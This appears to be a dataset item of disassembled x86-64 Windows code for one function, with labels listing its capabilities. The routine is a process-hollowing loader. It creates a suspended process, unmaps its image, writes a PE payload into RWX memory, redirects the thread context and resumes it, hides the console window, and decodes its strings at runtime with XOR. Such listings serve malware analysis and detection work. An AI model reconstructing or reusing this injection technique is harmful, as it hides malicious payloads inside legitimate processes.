Function at 0x140016e40
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Resume thread
Terminate process
Use process replacement

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
sub rsp, 0x6a0
lea rbp, [rsp + 0x70]
and rbp, 0xffffffffffffffe0
mov rax, qword [0x14011b8b0]
xor rax, rsp
mov qword [rbp + 0x620], rax
xor eax, eax
mov dword [rbp + 0xb0], 0x10000b
mov qword [rbp + 0x5d0], rax
lea rdx, [rbp + 0x20]
mov qword [rbp + 0x70], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x570], xmm0
movabs rax, 0x97fb4d3cfbf43394
mov rbx, rcx
mov qword [rbp + 0x20], rax
movabs rcx, 0x7d5c84bbdfb15aa6
movups xmmword [rbp + 0x580], xmm0
mov qword [rbp + 0x58], rcx
movabs rax, 0xeecd42d1dace95d9
mov qword [rbp + 0x28], rax
movabs r13, 0x97ac4d60fbce33d7
movups xmmword [rbp + 0x590], xmm0
movabs rax, 0xd499629674f166e6
mov qword [rbp + 0x618], rcx
mov qword [rbp + 0x30], rax
lea rcx, [rbp + 0x550]
movups xmmword [rbp + 0x5a0], xmm0
movabs rax, 0xb9ce3cbb656c891b
movabs rdi, 0xeea242b5daa095b0
mov qword [rbp + 0x38], rax
movabs r14, 0xd4ea62ca74826691
movups xmmword [rbp + 0x5b0], xmm0
movabs rax, 0x27121d7eb9cb8b56
movabs rsi, 0xb9ab3ccf651f8962
mov qword [rbp + 0x40], rax
movabs rax, 0x2c5e67f5b68d3727
mov qword [rbp + 0x48], rax
movabs rax, 0x911ffcb32903d500
mov qword [rbp + 0x50], rax
movabs rax, 0x274e1d4cb9f88b3b
mov qword [rbp + 0x600], rax
movabs rax, 0x2c706791b6e03744
movups xmmword [rbp + 0x5c0], xmm0
mov qword [rbp + 0x608], rax
movabs rax, 0x911ffcd6297bd565
movups xmmword [rbp + 0x60], xmm0
mov qword [rbp + 0x5e0], r13
mov qword [rbp + 0x5e8], rdi
mov qword [rbp + 0x5f0], r14
mov qword [rbp + 0x5f8], rsi
vmovdqu ymm0, ymmword [rbp + 0x5e0]
vpxor ymm1, ymm0, ymmword [rbp + 0x20]
vmovdqu ymm0, ymmword [rbp + 0x40]
vmovdqa ymmword [rbp + 0x20], ymm1
mov qword [rbp + 0x610], rax
vpxor ymm1, ymm0, ymmword [rbp + 0x600]
vmovdqa ymmword [rbp + 0x40], ymm1
vzeroupper
call fcn.14001a490
cmp qword [rbp + 0x568], 8
lea rax, [rbp + 0x60]
mov qword [rsp + 0x48], rax
lea rdx, [rbp + 0x550]
cmovae rdx, qword [rbp + 0x550]
lea rax, [rbp + 0x570]
mov qword [rsp + 0x40], rax
xor r12d, r12d
mov qword [rsp + 0x38], r12
xor r9d, r9d
mov qword [rsp + 0x30], r12
xor r8d, r8d
mov dword [rsp + 0x28], 4
xor ecx, ecx
mov dword [rsp + 0x20], r12d
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
xor ecx, ecx
test eax, eax
jne 0x140017061
lea r9d, [r12 + 0x10]
lea r8, [0x140104af0]
lea rdx, str.Unknown_Error__1_
call qword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x14001721a
mov rdx, qword [rbx + 8]
mov r9d, 4
sub rdx, qword [rbx]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, qword [rbx]
mov eax, 0x5a4d
cmp word [rbx], ax
je 0x1400170d6
movabs rax, 0x97ac4d60fbce33f7
mov qword [rbp + 0x38], rsi
mov qword [rbp], rax
movabs rax, 0xb7c23a0f95a55d82
mov qword [rbp + 0x20], rax
movabs rax, 0xda8a62c7b5d2e7f5
mov qword [rbp + 0x28], rax
movabs rax, 0xd4ea62ca748266b8
mov qword [rbp + 0x30], rax
mov qword [rbp + 0x5f0], r14
mov qword [rbp + 0x5f8], rsi
jmp 0x1400171b0
movsxd rsi, dword [rbx + 0x3c]
lea rdx, [rbp + 0x80]
mov rcx, qword [rbp + 0x68]
add rsi, rbx
call qword [sym.imp.ntdll.dll_NtGetContextThread]
mov rdx, qword [rbp + 0x108]
lea r8, [rbp + 0x78]
mov rcx, qword [rbp + 0x60]
add rdx, 0x10
mov r9d, 8
mov qword [rsp + 0x20], r12
call qword [sym.imp.ntdll.dll_NtReadVirtualMemory]
mov rdx, qword [rbp + 0x78]
cmp rdx, qword [rsi + 0x30]
jne 0x140017126
mov rcx, qword [rbp + 0x60]
call qword [sym.imp.ntdll.dll_NtUnmapViewOfSection]
mov r8d, dword [rsi + 0x50]
mov r9d, 0x3000
mov rdx, qword [rsi + 0x30]
mov rcx, qword [rbp + 0x60]
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r14, rax
test rax, rax
jne 0x14001726a
movabs rax, 0x97ac4d60fbce33f7
movabs rcx, 0xd4ea62ca74826691
mov qword [rbp], rax
movabs rax, 0xb7c23a0f95a55d82
mov qword [rbp + 0x20], rax
movabs rax, 0xdb8a62c7b5d2e7f5
mov qword [rbp + 0x28], rax
movabs rax, 0xd4ea62ca748266b8
mov qword [rbp + 0x30], rax
movabs rax, 0xb9ab3ccf651f8962
mov qword [rbp + 0x38], rax
mov qword [rbp + 0x5f8], rax
mov qword [rbp + 0x5f0], rcx
mov qword [rbp + 0x5e0], r13
lea rdx, [rbp + 0x20]
mov qword [rbp + 0x5e8], rdi
lea r8, [rbp]
mov qword [rbp + 8], rdi
xor ecx, ecx
movdqa xmm0, xmmword [rbp]
pxor xmm0, xmmword [rbp + 0x5e0]
movdqa xmmword [rbp], xmm0
mov qword [rbp + 0x5e0], r13
lea r9d, [rcx + 0x10]
mov qword [rbp + 0x5e8], rdi
vmovdqu ymm0, ymmword [rbp + 0x5e0]
vpxor ymm1, ymm0, ymmword [rbp + 0x20]
vmovdqa ymmword [rbp + 0x20], ymm1
vzeroupper
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rcx, qword [rbp + 0x60]
mov edx, 1
call qword [sym.imp.ntdll.dll_NtTerminateProcess]
mov rdx, qword [rbp + 0x568]
cmp rdx, 8
jb 0x140017260
mov rcx, qword [rbp + 0x550]
lea rdx, [rdx*2 + 2]
mov r8, rcx
cmp rdx, 0x1000
jb 0x14001725b
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub r8, rcx
add r8, 0xfffffffffffffff8
cmp r8, 0x1f
ja 0x1400173d9
call fcn.14009bc70
mov eax, 1
jmp 0x1400173a9
mov r9d, dword [rsi + 0x54]
mov r8, rbx
mov rcx, qword [rbp + 0x60]
mov rdx, r14
mov qword [rsp + 0x20], r12
call qword [sym.imp.ntdll.dll_NtWriteVirtualMemory]
mov edi, r12d
cmp r12w, word [rsi + 6]
jae 0x1400172d4
nop dword [rax]
movsxd rcx, dword [rbx + 0x3c]
add rcx, rbx
mov eax, edi
mov qword [rsp + 0x20], r12
lea rdx, [rax + rax*4]
lea rax, [rcx + rdx*8]
mov rcx, qword [rbp + 0x60]
mov r8d, dword [rax + 0x11c]
mov edx, dword [rax + 0x114]
add r8, rbx
mov r9d, dword [rax + 0x118]
add rdx, r14
call qword [sym.imp.ntdll.dll_NtWriteVirtualMemory]
movzx eax, word [rsi + 6]
inc edi
cmp edi, eax
jb 0x140017290
mov eax, dword [rsi + 0x28]
add rax, r14
mov qword [rbp + 0x100], rax
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
mov rdx, qword [rbp + 0x108]
lea r8, [rsi + 0x30]
mov rcx, qword [rbp + 0x60]
add rdx, 0x10
mov r9d, 8
mov qword [rsp + 0x20], r12
call qword [sym.imp.ntdll.dll_NtWriteVirtualMemory]
mov rcx, qword [rbp + 0x68]
lea rdx, [rbp + 0x80]
call qword [sym.imp.ntdll.dll_NtSetContextThread]
mov rcx, qword [rbp + 0x68]
xor edx, edx
call qword [sym.imp.ntdll.dll_NtResumeThread]
mov rcx, qword [rbp + 0x60]
xor r8d, r8d
xor edx, edx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
mov rcx, qword [rbp + 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rdx, qword [rbp + 0x568]
cmp rdx, 8
jb 0x1400173a9
mov rcx, qword [rbp + 0x550]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400173a4
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400173d9
call fcn.14009bc70
mov rcx, qword [rbp + 0x620]
xor rcx, rsp
call fcn.14009bc50
lea r11, [rsp + 0x6a0]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.1400abd94
int3